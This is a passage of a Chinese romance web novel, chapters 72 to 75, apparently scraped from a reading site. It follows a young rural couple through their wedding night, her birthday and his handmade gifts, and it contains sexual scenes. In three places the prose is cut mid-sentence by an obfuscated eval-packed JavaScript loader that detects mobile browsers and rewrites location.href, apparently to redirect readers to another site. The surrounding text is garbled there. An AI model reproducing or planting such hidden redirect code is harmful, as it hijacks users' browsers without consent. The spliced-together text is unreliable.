鸣唱声中,缱绻花香混杂着氤氲的泥土清香,丝丝缕缕洇入室内。 “耕耘哥哥,耕耘哥哥……”向园奋力挣扎,不知是要逃离他,还是要贴近他。 “嗯,我在,在这儿。”原耕耘动作异常温柔,轻轻摩挲她热乎乎的面庞、湿漉漉的眼睑、颤巍巍的睫毛,“不怕。” “耕耘哥哥,我冷~”向园往他怀里挤,她鼻尖带着点汗珠,眼底却是湿痕,瞧着可怜巴巴的。 大树撑开伞盖,绿荫将树下飘摇的野姜花牢牢包裹住,缥缈的花香似有若无,向园听见窗外的雨声混着虫鸣,响在耳侧。 原耕耘像屋外的雨一样急切,一样无序的莽撞中带着生动的韵律。 细微的铮声掩没在急促的雨声、凌乱的呼吸声中,几乎听不见。 绯红帐子再也禁不住拉扯的力道,应声落下。 “啊!”紧绷的弦终于拉断,向园腰肢酸胀难耐,有什么遮了两人满头满脸。 枕侧传来一声闷响,她泪眼朦胧,隔着绯红薄纱,模模糊糊瞧见一个竹编的小马陷在软枕里,只露出威风凛凛的马头,似在观望。 “小九哥?”向园一阵瑟缩,搂紧原耕耘,把自己送上去。 “在这儿。”原耕耘瞳仁黑亮,心上生出看不见的藤蔓,把两人紧紧捆在一起…… 雨下了一夜,时而嘈嘈,时而切切。 直至最终,急雨收束,斜风约水,浮红涨绿。① 72. 第 72 章 清晨,三足山笼罩在冥冥烟雨中。 小院外,碧绿如洗的高树,一簇簇叶子往下垂坠,积蓄的雨点时不时落下,砸得树下躲雨的小动物们头脑发懵。 向园的脑袋亦是懵懵的,不止如此,她感觉腿软软的,腰酸酸的,嘴巴木木的,喉咙干干的,眼睛还有点疼。 明明每个部位都有单独的特别的感受,可汇聚到一起,她就觉得整个身子都麻麻的。 有点冷,她无意识地往床上唯一的热源挤,明明已经严丝合缝贴着了,但就是要挤。这么热乎的被子,不盖在身上简直天理不容。 落下的帐子早已被丢到一边,除了被子,再无别的遮挡。可单薄的夏被,并不足以让她暖和。 感受到她的动作,原耕耘把她整个往上提了提,翻了个身,让她趴自己身上睡。 这样接触面积更大,体温能更快地暖热她。 向园腿不太能并得起来,他给她摆出舒服的,尽量符合两人身体线条的姿势。 这一下子可把她惹火了。 “原耕耘,够了!”向园嘟嘟囔囔,嗓音很哑,眼睛都没睁开,也不知是睡醒了还是在说梦话。 “好了好了,不闹你了。”原耕耘顺毛捋,揉揉她乌黑凌乱的头发,“睡吧睡吧,继续睡。” 半梦半醒间,向园依旧保持警惕,昨夜他们进行过这样的尝试,最后她很惨。 她开始往后挪,但不管怎么挪好像还是挨着他。弄得她整一夜不得安枕的坏东西也不再蛰伏,直愣愣冒出了头,隔在中间,蓄势待发,好似随时要把两人用更紧密的姿态嵌到一起去。 不行,她不能坐以待毙,她继续往后拱…… 炕尾,一只脚丫蹭出被窝,腕踝处的一圈绯色吻痕与皎白的肌肤对比鲜明,如积雪上散落的红梅,极尽暄妍。 似乎被清凉的空气刺激到,脚丫一颤,就往回缩,没缩回去,反把被子带得卷起来。 原耕耘头枕在高处,将那脚丫的动静看得一清二楚。 向园黑漆漆的发顶从他肩膀滑到胸膛,再滑到半腰,现在还有继续向下的趋势,原耕耘叹息一声,将人捞回来,脚尖一挑,被子又翻回去。 向园感觉自己被一双手臂牢牢禁锢住,捆得很紧,又很暖和。 “乖乖睡,不闹你了。” 是耕耘哥哥的声音,向园蹭蹭他的脖颈,总算抛却一切警惕的、防备的思绪,陷入沉眠。 一场连绵急雨,下得山路泥泞起来,原耕耘收拾好东西,准备带向园下山。 他换了个稍小的竹篓,只装了必须要带的东西,挂在前胸,背对向园半蹲下身,“上来。” 向园背着手后退两步,“我自己可以走。” 连耕耘哥哥都不叫了? 原耕耘偏头去看,果然见她扁着嘴巴,一副气闷模样。 “真的可以自己走?” 他瞧了瞧她两条腿,直起身来。 当然瞧不见什么,裙子裹得很严实,不知道她腿还抖不抖。 向园:“……” 哼! 原耕耘取下竹篓,走到向园面前扎下马步,目光跟她齐平。 向园的脸气得粉嘟嘟的,原耕耘上手揉揉,“向园,你这样,我都不舍得下山了。要不我们下晌再走?” 侵略的目光明晃晃地昭示着,他还想再来一顿饕餮盛宴,昨晚和今早根本不足以让他吃饱。 向园先前只是有几分生气,现在怒气翻倍,“还说你喜欢我凶一点儿,你根本就不喜欢,你都不听我的话。揪你耳朵也不听,拧你胳膊也不听。” 旧账翻得晚了点,向园刚被原耕耘伺候着吃了一碗面,这会儿明显气势不足。 吃面的时候她还躺在床上,实在懒得动弹,实际也不用动弹,面就喂到嘴边了。 竹鸡汤煮的面鲜美顺滑,原耕耘还放了几片叶子菜,不知道从哪里摘的,清甜脆嫩。 向园吃着青菜还挺感动,都不打算跟他计较了,直到原耕耘非要让她把一整根面一口气吞掉,不许咬断。 向园现在还觉得那根面条在肚子里来回转扭呢。 这还不算,面吃完了,他非要给她再上一次药。 屋子里亮堂堂的,她蒙着头被他涂药,假装看不见。直到腿都打哆嗦,闷了一头一脸的汗,他才算弄完。 涂了药他才说忘了给她洗澡,要洗下澡。 结果,药白涂了! 她脑子昏昏的,不靠谱也就算了,原耕耘可清醒着的,怎么也能这么不靠谱! 实则原耕耘也很委屈,他不让她咬断,没说不让她嚼啊。 向园大概是叫他弄傻了,说让一口气把面吃完,她就一下也没咬,一口气吸溜完。 上药的时候原耕耘更是真心的,没抱一丁点歪念头,实际上只要她乖乖躺着别动弹,他也没那么禽兽。 凌晨那会儿就顺顺利利上过一次,他虽然有点眼红,最终也忍下了。可今天她醒着,他一碰,她就来回动弹,不仅不安生,还把他手都弄得水淋淋的。这要是能忍,他就别叫原耕耘了,叫原乌龟吧。 这一通药上下来,自然要洗一洗的。 好在水是现成的,他抱着向园洗澡。 药没上好,还发生一连串的变故,向园气闷,要拧他自然是理所应当的事。 只是水底下,皮肉滑溜溜的,她捏不住,下手不重。 原耕耘没觉得疼,不过确实留了印子,他特别喜欢,自然就更疯。 现在想想,确实是他错得比较离谱。 他跟向园服软,“我错了,我以后都听你的。但是我喜欢凶媳妇儿不假,你喜欢听话的相公吗?跟木头人一样的,你能喜欢?” 他觉得自己先前引导错了,他喜欢向园凶一点不假,可是她越凶他越疯怎么办? 向园当然不喜欢原耕耘像个木头,但她振振有词,“你应该分辨我是真心说不要,还是假意说不要?” 原耕耘轻笑出声,“你还知道自己有假意的时候?” 向园涨红了脸,“你别跑歪了!我就能分清,你真心说话的时候,我是不是都顺着你的?” 这没错,向园是很体贴他的。 原耕耘点头认同,但是,“我从不说不要,我说要的话,都是真心的。” 其实他也能分辨向园说的话。 昨天晚上说不要是假意,因为隐忍只是最开始那一会儿,后头确实享受到了。他能真切地感受到她的变化,从陌生到习惯再到喜欢,她软成一滩水,从始至终都没朝他动手,没咬、没踢、也没打。 今天上午喊够了是真心,因为她下手了,也下嘴了,还有点狠。 可她越狠,他越喜欢,就越要逼她更狠,他也觉得自己很过分。 “我错了,你不答应,我以后都不这样了。”原耕耘严肃保证。 向园叹了口气,刚想摆摆手说算了,就被原耕耘一把抱起放在台阶上。 他动作迅疾,向园还没反应过来,就已经在台阶上站定了。 原耕耘怕她没站稳,还扶着她,“我背你下山好不好?娘嘱咐咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723819|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们早点回去,说要给你过生辰!” “还要过啊?娘也记得啊!” 向园很好骗,一下子就被转移了注意力。 “当然,今天一整天都是你的生辰,我们都记得清清楚楚的。不过你要是天天都想过这样的日子,也不是不成。”原耕耘背过身去,双手朝后够着,示意她往自己背上趴。 “真的啊?”向园软哒哒贴上去,搂紧他的脖子。 “真的,喊一声耕耘哥哥,天天这么伺候你。” “耕耘哥哥!”都不用想,向园立马喊他,声音脆生生的。 “也不用天天这样,偶尔就好了。我也可以伺候你。”她捏着他耳朵嘀咕。 原耕耘搂着她的腿往上掂掂,“不用你伺候我,你等着被我伺候就行。” 他屈腿,背着她蹲得更矮一点,“把竹篓拎起来,挂我肩膀上。” 竹篓里是竹鸡和土豆,竹鸡是太好吃了,向园惦记着给樊云英尝尝。土豆是今年头一批,块茎还没完全膨大,他们少挖一些,吃个新鲜。 向园这会儿又知道心疼他了,“耕耘哥哥,其实我可以自己走!” 话是这么说,胳膊还是紧紧搂着,一点也不舍得下来,还捏他的耳朵玩。 原耕耘轻轻拍拍她的屁股,“好了,知道你厉害,但耕耘哥哥喜欢背你,乐意背你,情愿背你。你搂紧啊,咱们这就下山了。” “好叭!”向园想着自己走也不是不行,但是被耕耘哥哥背着走的话,她心里面可美了。虽然被他来回翻着面欺负了好几通,可她一点也不想跟他分开,走路也能贴贴就再好不过了。 原耕耘走得稳,脚程快,向园趴他背上迷瞪了一会儿,再睁开眼,已经快到竹窝窝了。 她一下子惊醒,挣扎着要自己走,“耕耘哥哥,快放我下来!” 原耕耘不明所以,还以为路上错过了什么要紧的东西,“怎么了?” 向园觉得他笨,“快到家了呀,你背着我,娘肯定要问的。” 原耕耘轻笑,把她往上颠颠,继续往前走,“你抖抖索索走路,娘也要问,还要骂我不懂得心疼你。” 他这样云淡风轻、早有把握的模样,向园不闹着要下去了,绕一绺原耕耘的头发把玩,“那你要怎么跟娘说?你可不要像上次那样,把我卖了!” 原耕耘奇怪,“我什么时候把你卖了?” 向园用他的头发搔他的下颌,“上回我们买的话本,你就非要给娘看。” “那娘最后看了吗?”有点痒,原耕耘往后仰了仰,喉结滚动,偏过头问她。 向园蔫巴了,“……没有。” “要是我不那么说,你猜娘会不会想看?” 向园说不准,她不吭声。 “那你猜猜,娘要是想看,她会找我呢,还是会找你呢?” 向园不说话了,耕耘哥哥说的很有道理的样子。 “那今天怎么办?娘要问你为什么背我你怎么说?这次我可是不会替你解释的。”她把他头发捋上去,绕着发髻盘了一圈。 原耕耘忍笑道:“你不替我说啊,那我就跟娘实话实说啦!” 向园:“那你快放我下来,我走小步一点。” 这样抖得不明显,娘要问起来,她就说路上叫石头绊了一下。 原耕耘不松手,提醒她,“别动,别动,娘过来了。” 说着,他小跑两步到了桑林外,暴露在桑林里几人的视线下。 向园僵了一下,软软趴在原耕耘肩膀上,等着跟樊云英汇合。 73. 第 73 章 樊云英在摘桑葚,阿七几个也都在,瞧见他俩,几人一溜儿小跑过来,围着向园关心。 樊云英最为惊讶,扶着她的胳膊问,“园园怎么了?” 原耕耘不说话,向园生怕他说出什么不中听的来,抬起头,露出个腼腆的笑,“娘,没事,我不小心摔到了,磕到腿,耕耘哥哥背我下来。” 樊云英很着急,“摔哪了?严重不严重?怎么这么不小心!” 向园瞥一眼原耕耘的后脑勺,“摔沟里了,不过沟里头全是草垫着,没有磕到哪里,一点儿也不严重。” 好好走路能摔沟里去? 樊云英有点奇怪,“真没磕到哪儿?快回去,快回去,回去我看看,找点药膏给你涂一涂。” 还要涂药?向园僵硬了,晃悠着小腿,脚后跟状似无意地蹬蹬原耕耘的大腿。 原耕耘面无表情,“娘,不要紧,昨天摔到的,崴了脚,我给她涂过药油也揉过,已经消肿了,就是这两天走路可能不大利索。” 樊云英松了口气,“没伤到别的地方吧?要是哪疼,可得及时说,咱们找大夫瞧瞧。” 向园:“娘,已经没事儿了,没有哪里疼的。耕耘哥哥给我揉过就一点都不疼了,应该明天就能好。” 这是她估摸的时间。 原耕耘给她抹的药效果还挺好,现在除了腰酸腿软骨头僵之外,肉皮儿已经不疼了。 耽误这两天,明天还得熬文武膏,要是桑葚熟过了,就浪费了,那可都是钱啊。 向园很持家。 “你这孩子,伤筋动骨一百天,哪有那么容易好!以后走路可得注意着!走,快回家,快回家,回家我帮你瞧瞧。” 樊云英实在担心,这要是伤到骨头可不是小事,孩子们不知轻重的,不疼就不当回事,不看看她一点放心不下。 向园:“……” 怎么办啊? 她够着瞧原耕耘,眼睛缩在内眼角,嘴角耷拉着,眉尖尖儿都蹙起来了。 原耕耘看懂了,跟她对口型:“别担心。” 没发出声音,樊云英在前头走,也瞧不见。 “你一定要想个好办法。”向园也做口型。 她可不想娘一掀开裤腿,瞧见一圈牙印儿,那她可真要把原耕耘揍一顿。 原耕耘严肃点头。 实际上他不想让任何人看到向园的身体,不喜欢任何人跟向园同住,他娘也不行。 所以回去后,他把向园背回屋,对樊云英道:“娘,你先去找药油吧,我力气大,我给她涂。” “这是力气大就能行的?得力道适中才行,别快好了,叫你一揉,又揉伤了。”樊云英嘟囔着去找药膏。 她一走,原耕耘立马关上门。 向园觉得匪夷所思,这就是原耕耘想的好办法? 她连忙弯腰脱鞋,要是上面红印不在了,给娘看看也没什么的。 还没弯下去,向园就倒吸一口凉气,腰好疼啊,她怒瞪原耕耘。 原耕耘帮她揉揉,蹲下帮她褪掉鞋袜。 “这里还是红的。”他点点几个地方。 “这里不红。”他点点另外几个地方。 原耕耘餍足了就有点子恶趣味,再亲再咬的时候,都是捡着地方来的,出来的痕迹完整对称,哪里少了他还要补章。 现在,红的地方跟不红的地方相交叉,刚好围成一个圈,绕在向园脚腕上。 “怎么办啊?”向园苦恼。 婆婆太好,也是有一点点甜蜜的烦恼。 “给我再亲几下,都亲成红的,就不明显了。”原耕耘握着她的脚轻揉。 “咦~”向园倒吸一口冷气,吸完又觉得这主意不错。 一圈红虽然不像崴的,但她可以告状,说原本没问题,是被耕耘哥哥揉成这样的。 她伸出脚,“来吧!你轻点!” 原耕耘没想到她当真,但都伸到面前了,他是亲还是不亲呢? 当然要亲! 他埋下头。 樊云英找完药膏出来,见屋门关着,刚举起手要拍门,突然泛想起来。 明知道她要拿着药过来,他们还关门,不会是要做坏事吧。 她退到堂屋檐下,朝那边喊,“耕耘?园园?堂屋橱柜里那药膏你们收起来了?我没找到啊。” “娘,别找了,药膏我之前拿山上去了。向园脚腕不碍事了。” 樊云英瞧瞧手里的药膏,满脑子问号。 她现在要不要拿着药膏出门,再拿回来假装是从别人家借的? 屋里,原耕耘说完,又扭过头来,视线直直盯着床上目瞪口呆的向园。 他仰坐在地,姿态随意安然,好像刚刚摔倒的人不是他似的。 向园很快反应过来,若无其事地收回半抬的脚,惊讶道:“耕耘哥哥,怎么这么不小心,快起来,快起来!” 好像刚刚踹相公的人不是她似的。 向园一边说,一边伸手要捞他起来。 原耕耘两手支在身后,懒懒抬头,“向园,我摔坏了,你得赔。” 向园警惕止住要下床的动作,“怎么赔?” 原耕耘嗤笑一声,坐直了把手伸过去,“来拉我!” 向园:“……” 刚拉你你不搭手,收回来了你又要拉,哼! 心里吐槽,但耕耘哥哥被她踹翻在地还是很可怜的,她把手递了过去。 原耕耘想把她拽下床的,想想她的身体,还是作罢。 他稍微使了点劲儿站起来,站到向园跟前,居高临下道:“现在还没想好,等我想好了再说吧。” 向园想不到这没留神一踹还给自己踹出一笔账来。 “不许过分!”她单方面警告一下,就扭着原耕耘的腰让他转了个身,“衣裳没脏!” 她随意拍了拍,推他,“快去跟娘说清楚!” 原耕耘转过身来,似笑非笑,“你在跟谁说话?” 向园:“……” 向园怂了,“耕耘哥哥!” “谁在跟耕耘哥哥说话?”原耕耘又问。 向园觉得他摔傻了,“我,向园。”她指指自己。 “向园是谁?”原耕耘搬把凳子坐在床边。 向园怀疑他故意戏弄自己,揪着他的耳朵讲话,“向园是谁?向园是你娘子!你媳妇儿!现在是你媳妇儿在跟你讲话,明白了?” 原耕耘点头,“向园是原耕耘的娘子,原耕耘是向园的相公。所以,娘子,亲亲你相公!” 向园揉揉他的脸,也顾不得腿疼了,头抵上他的眉头,“耕耘哥哥,你是不是摔傻了?” “这是几?”她张开巴掌晃了晃。 原耕耘佩服她的脑子,“问得很好,下次别问了!” 问得他想再把她扛山上去。 不过没扛,她不亲,他自己亲。 向园叫他亲得晕晕乎乎的时候,恍惚瞧见他五指伸开晃了晃,“向园,这是几?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16737279|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 向园:“……” 不行了,她可能真掉到原耕耘这个大深坑里了,她得歇歇。 她安静地闭上眼。 原耕耘亲亲她颤动的眼皮,给她搭上被子,出门去找樊云英。 “娘,向园的脚腕不碍事了,你注意这两天别让她做活就行。” “这还用你说!”樊云英瞪眼,又问:“真不碍事啊?其实我刚刚借了个药膏,你看要不还是涂上?” 原耕耘点点头,接过药膏,就要离开,转头又说了一句:“娘,不要熬黄连水了。” 樊云英:“……” 药膏还我! 晌午吃了一顿丰盛的饭菜,晚间除了糯米粉和红豆沙做的寿糕外,竟然还有向园在册子上看到的那种点心。 向园惊喜不已,看看樊云英又看看原耕耘。 原耕耘扭过头,深藏功与名。 樊云英笑得眼角都起了道浅浅的褶子,“是用牛乳做的,村里周家牛刚生了一头小牛犊,我去寻了一盆牛乳,琢磨着做了点心。园园尝尝,喜欢吃咱们以后常做。” 她把提前打好的长命锁给向园戴上。 向园挺不好意思,只有晚辈给长辈过寿辰的,哪有长辈为晚辈操持生辰的,还这样费心费力。 樊云英摸摸她的头,“哪有那么多计较,这可是早就给你准备好的。你就跟我女儿似的,做娘的给女儿过生辰合当应分的!快吃寿糕,望我们园园福寿绵绵,松柏齐肩!” 她手艺不好,拿得出手的吃食不多,也就几样点心做得还不错。 向园捏着给他们也分,“娘吃,耕耘哥哥也吃,咱们一家人都要长命百岁,岁岁平安!” 寿糕好吃,牛乳点心也好吃,不知樊云英怎么做的,最外层的那层壳酥酥脆脆,内里的流心软馅儿绵糯香甜,入口即化,简直美味到极致,向园吃得尽兴。 分了小寿星的寿糕和点心,晚间原耕耘也要表心意。 明天可能就得上山去,他想把自己送给向园。 向园脑子很清明,摇头道:“耕耘哥哥,你别把占便宜当吃亏,我不会上当的。而且你明天还有事情要忙,不宜消耗精力。” 原耕耘刚看过天色,“明天可能还要下雨,下雨我们就不去了。” 此刻他也说不清是盼着下雨还是盼着不要下雨。 下雨了他就在家陪她,不下雨他就上山,早点弄完,早点下山陪她。 向园没注意天色,不过四五月份确实经常下雨,“那要是你们在山上,突然下雨了怎么办?” 她有点担心。 原耕耘:“搭的有小屋,小雨有地方躲雨,大雨的话我们就及时下山来了。” 所以在山上,懂得预测天气也是很重要的一门技能。 那也还是要淋雨。 向园道:“耕耘哥哥,家里还有油布,我再给你做件油衣,比蓑衣轻便一些,你好上山穿。” 原耕耘摸摸她的脸,“好,不急,等卖油布的来了再买两匹油布,用那个做油衣。” 向园买的碎布块是很多,但是要拼成油衣,要费的劲儿就多了。 油衣需要针脚细密紧实,油布不好穿透,不太好做,原耕耘不想让她为这个费神。 说完,原耕耘也没拿开手,转而覆在她的眼睛上,“向园,闭上眼睛,给你看礼物!” “还有礼物啊?”向园乖乖闭上眼睛,睫毛扫到原耕耘手心,痒痒的,他轻笑一声,起身去外间拿东西。 74. 第 74 章 原耕耘的礼物就在外间,一样倒扣在书桌上,上头压了镇纸。另一样放在抽屉里,拉开就能瞧见。 他还想,要是向园都找出来了,他就再给她做个别致的小玩意儿庆生。 可向园来来回回走了几趟,愣是没发现给她的礼物就大喇喇摆在这里。 原耕耘拿着两样东西走到床边。 向园还闭着眼睛,感觉到有人走近,她问:“耕耘哥哥,你找好了啊?” 看来一点也没有偷看。 原耕耘把东西放在小几上,拉住她的手问:“是直接看还是猜一猜?你可以摸摸看,猜对了有奖励。” 向园准备睁开的眼一下子又闭上了,“我猜吧,耕耘哥哥,奖励你准备好了没?” 原耕耘刮刮她的鼻子,“放心,准备好了。” 他左右看看,拿起盒子打开放在向园手上。 向园摸索着,最先触到的好似是一颗珠子,她顺着珠子往下摸,这东西有点长,向园顺着串珠的丝摸了好一会,发现自己是在转圈圈。 她有点憋不住想睁眼瞧一瞧。 原耕耘适时捂住她眼睛,他坐到向园旁边,“不想猜了?” 向园偷看的心立马淡了,她摇头,紧紧闭上眼睛,随意猜测,“是不是首饰?” 原耕耘带着她手去摸索,“对,是首饰。” 范围小了,向园认真思考。 耕耘哥哥给她买过珍珠项链,娘也给她打了长命锁,所以应该不是颈饰。 她有金镯子,应该也不是手镯或者手链。 “是不是耳坠?” 向园没有耳洞,她很喜欢耳坠,但是没戴过。这个耕耘哥哥知道,还说不能戴,瞧瞧也是好的。 他说不定会给自己买这个,向园猜测。 原耕耘轻笑出声,“猜对了一半。” “一半啊!”向园闭眼睛太久,有点酸酸的,她想睁眼了,仰头问原耕耘,“一半可以拿到奖励吗?” 原耕耘凑上去亲了亲,“可以,睁开眼睛吧!” 向园还是没看着,原耕耘已经拿起首饰给她往头上戴了。 头一件是额饰。 感觉到额头上有什么东西擦过,向园眼珠子往上瞟,“不是耳坠吗?” 原耕耘刚把银丝穿过她的头发,“你不是觉得娘的抹额好看吗?你年纪小,戴那种纯布的有些显老气,这个是银丝串珠,比较适合你。等冬天了,我打几只白兔或者白狐狸,鞣了皮子给你做卧兔儿。” 别看这又是银丝又是珍珠的,其实价格不算贵,是原耕耘之前就在书生的摊子上买好的。 书生有些门道,赶得巧的话能弄到一些时兴的尖货。 这样的首饰,放到银楼商铺里,不定要卖多少钱。摆在书生摊上,就成了彻彻底底的地摊货。 不是原耕耘小气,他倒想去银楼买硬实一点、做工更精致华美的流苏金钗或银钗,奈何钱不够。 他把银子交给向园,那就是给她存的体己,向园算账本来就有些糊涂,他可不会再给她乱上添乱。 而且毕竟是给向园送生辰礼,他总不能再问向园要钱买礼物吧,所以他是可着妆台小匣子里的散碎银子,估摸着买的东西。 好在他看过,晓得东西不差。他买的这几样和向园还挺搭的,向园很适合圆润柔和的珍珠。 向园伸手摸摸,很难想自己前额带着首饰是什么样子,“这样会不会不好?咱们这儿好像没谁带这样的额饰的。” 就是卧兔儿,向园听表哥说过,那都是城里有钱人家女子的消遣,乡下也少有人带。 虽然一定很漂亮,但是也很出风头,可能会招来七嘴八舌的议论,向园可不想成为大家背后嚼舌的对象。 原耕耘弄好额前,走到侧边给向园戴发饰。 “这有什么不好的,你喜欢戴就戴,想戴出去就戴出去,不想戴出去咱们就自己在家里戴着玩儿。现在戴的这个也算是耳坠,一会儿弄好了给你看看,你要是喜欢,过段时日闲了把那些首饰融了,给你打些别的样式。” 向园要点头,原耕耘扶住她脑袋,“别动,娘给你梳的这是什么髻?” 今早原耕耘给向园盘的单螺,歇了晌她头发就有些散开,樊云英看着不好看,给她重新梳了个发髻,原耕耘在边上看了半晌,也没好意思问这叫什么。 向园这样梳特别漂亮,脱去了梳双螺的一点稚气,看着成熟雅致,又不像单螺那样过于端庄秀丽,在原耕耘看来,是恰到好处的飘逸灵动。 “应该是双环髻?又有点像飞仙髻?不过我看别人梳得不如娘梳得好看,娘梳的双环绕一大把头发,环却收得小,看着蓬蓬的,很自然。你瞧像不像双螺髻的两个螺并到头顶了?” 确实很像,而且跟这个首饰很搭。 原耕耘点点头,戴好一边,又去摆弄另一边,快弄好的时候,向园终于知道为什么说耳坠也对了。 前额是银丝串珠抹额,发髻上是两条坠珠银丝攒成的发带,软软的,可以绕在头发上。 原耕耘绕得巧妙,绕完之后,发带上的流苏刚好坠在向园耳朵边,瞧着就像戴了耳坠一样,还是珍珠耳坠。 向园弹弹流苏,摆摆头,照着镜子美得不行,“耕耘哥哥,你真好!” 说话时脸上的笑收都收不住,她心里高兴极了。 原耕耘真是个好相公,跟着他不仅有肉吃,有衣裳穿,还有漂亮的首饰戴,向园觉得自己掉到了福窝里。 这会儿哪怕原耕耘说奖励是他自己,向园恐怕也不会拒绝,她半站起来,够着原耕耘的嘴巴,送上一个亲亲。 原耕耘笑笑,搂着她坐下,“现在给你看奖励。” 还有别的奖励? 向园窃喜一下,美滋滋等着看原耕耘还要送她什么。 原耕耘没让她等太久,拿过一沓纸给她看。 向园眼睛一亮,“耕耘哥哥,你什么时候画的?我都不知道。” “抽空画的。”原耕耘没有细说,和她并坐着,一张一张看过去。 “你不是问那小竹马吗?这就是小竹马的故事。”他指着最上边几张道。 向园仔细瞧瞧,故事是两个小孩儿玩竹马,小女孩儿骑着骑着就摔倒了,她哇哇大哭,发誓以后再也不骑竹马了,小男孩儿就送了她一个不能骑但是可以玩的竹编马。 画面色彩明艳,人物表情生动,看着跟话本一样好看。但是…… “耕耘哥哥,小女孩儿的竹马为什么会在你这儿?” 向园很好奇,这段时日小册子看得有点多,她脑子里已经从青梅竹马、两小无猜的正经故事,一路联想到失忆、替身的这等戏文和话本里才有的离奇桥段了。 她不会是耕耘哥哥找的替身吧! 想到这儿,向园心中难过起来,要是这样的话,她、她就不要他了,回自己家去。 然后赶紧赚钱攒钱,把自己的日子过得红红火火,一定要把他碾压下去。 不然,哪天他的心上人回来了,难道她要凄凄惨惨站在露台上,眼睁睁瞧着这边敲敲打打,迎新媳妇儿过门吗? 咦,那也太摧人心肝了。 原耕耘面无表情,打断她的思绪,“……向园,我们那个的时候,你看见竹马为什么喊小九哥?小九哥是谁?” 向园惊愕一瞬,她不记得了,但是,“小九哥当然是你啊!除了你还能有谁?” 她可没有把耕耘哥哥当成谁的替身的,她也只认识耕耘哥哥这一个九哥。 小九哥,定然是情急之下的爱称。 向园果断说服自己,决定以后还这样叫。 原耕耘差点端不住表情,“向园,你真气人,你知道小九哥是我,却要问竹马为什么在我这儿?” 不知怎么的,向园有点心虚。 耕耘哥哥一直说他们从小就认识,也讲过小时候的事,可她一点印象都没有,还那样怀疑他。 难道她就是画上的小女孩儿? 等看到底下鱼哨的故事,她就更心虚了,这还真像她能干出来的事。 好吧,那没问题了,她还要他,红红火火的日子也要跟他过。 “耕耘哥哥,为什么我的竹马会在你这儿?”向园抱着原耕耘的胳膊晃了晃,换了个聪明点的问法。 “躺下说。”原耕耘抱她仰躺在枕上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原耕耘憋笑憋得肚子痛,面上却一派正经地做总结陈词,“可不是嘛!你可霸道了,不只霸占你爹娘做爹娘,我爹娘你也要抢走做爹娘。我在你家做女婿,在我家还要做女婿!你在你家做宝贝,在我家还要做宝贝!我都被你挤得没地方站了!” 怪不得在山上耕耘哥哥恨不得吞掉她,向园为过去霸道而不自知的自己感到惭愧。 她认真道歉,“耕耘哥哥,对不起,我早就改好了,以后绝对不会这样的。” 心里又觉得庆幸,要是她记得小时候自己这么讨人厌,哪还好意思嫁给耕耘哥哥呀,又怎么会把耕耘哥哥逼成那个样子,都哭了呢! 原耕耘终于忍不住笑,但笑的还算收敛,“向园,你不要道歉,女人不坏男人不爱,我现在想想你小时候,一点都不生气,你一定是太喜欢我,才会那样的,对不对?” “对!”向园不能再赞同。 不管那时候是不是因为喜欢耕耘哥哥,现在都只能是因为喜欢耕耘哥哥。 原耕耘对她的回答表示满意,然后还想要更多,“当然,现在我们长大了,小时候那点喜欢就不够了。” 向园立马举手保证,“我绝对比小时候更喜欢你。” “真的啊?”原耕耘心花怒放。 “不过,我都没感觉到呢,你要是能再多喜欢我一点就好了。”原耕耘的语气像个深闺怨妇。 “你多喜欢我一点,我就更高兴,我一高兴,就更有动力挣钱,给你买好吃的,好玩的,给你买首饰,买尺头,还给你攒钱。向园,为了咱俩将来的日子,你多喜欢我一点,多爱我一点,好不好?”原耕耘循循善诱,给向园画大饼。 “好!”向园不仅上钩,还很心疼他,“耕耘哥哥,你要是再生气,千万不要那样了。我欺负你,你可以欺负回来嘛,你也往我袖子上擤鼻涕、擦汗,我不会怪你的。我知道你生气了,还会哄你、宠你、疼你!” 原耕耘:“你可以哄我、宠我、疼我,但是擤鼻涕这些是小孩子才会做的事,我们长大了,这样就不好了。不如……” “不如什么?” “不如你帮我擦点别的?” 向园低头去看,又平静地转移视线,“好吧,我帮你。” 75. 第 75 章 第二天还是没能去成山上。 半夜里就下起绵绵细雨,到早上才停。 一大早,原耕耘就被一二三的叫声惊醒。 门外传来悉悉索索的声响,“大黑,别咬,是我。” 周满仓安抚好一二三,又朝着院门大声喊,“九哥,九哥,在家吗?向娘子,樊婶子?” 他还要再喊,屋内已经踱出来一个人影。 “来了,快进屋,出什么事了?”原耕耘打开篱笆门,让周满仓进来。 周满仓摆摆手,抹了把脸,“黄穗平他们家出了点事儿,他媳妇儿不知怎么摔了一跤,喊了我娘我嫂子过去照看,好像挺严重,让我来找向娘子,想请向娘子过去看看,有没有什么办法。” 原耕耘觉得这事儿有些蹊跷,“什么时候摔的?什么症状?” 周满仓嘟哝着,“我也不清楚,估摸是昨天晚上。我娘和我嫂子是凌晨被黄二安喊过去的,听那情况,好像是孩子没了,止不住血。向娘子有办法吗?” 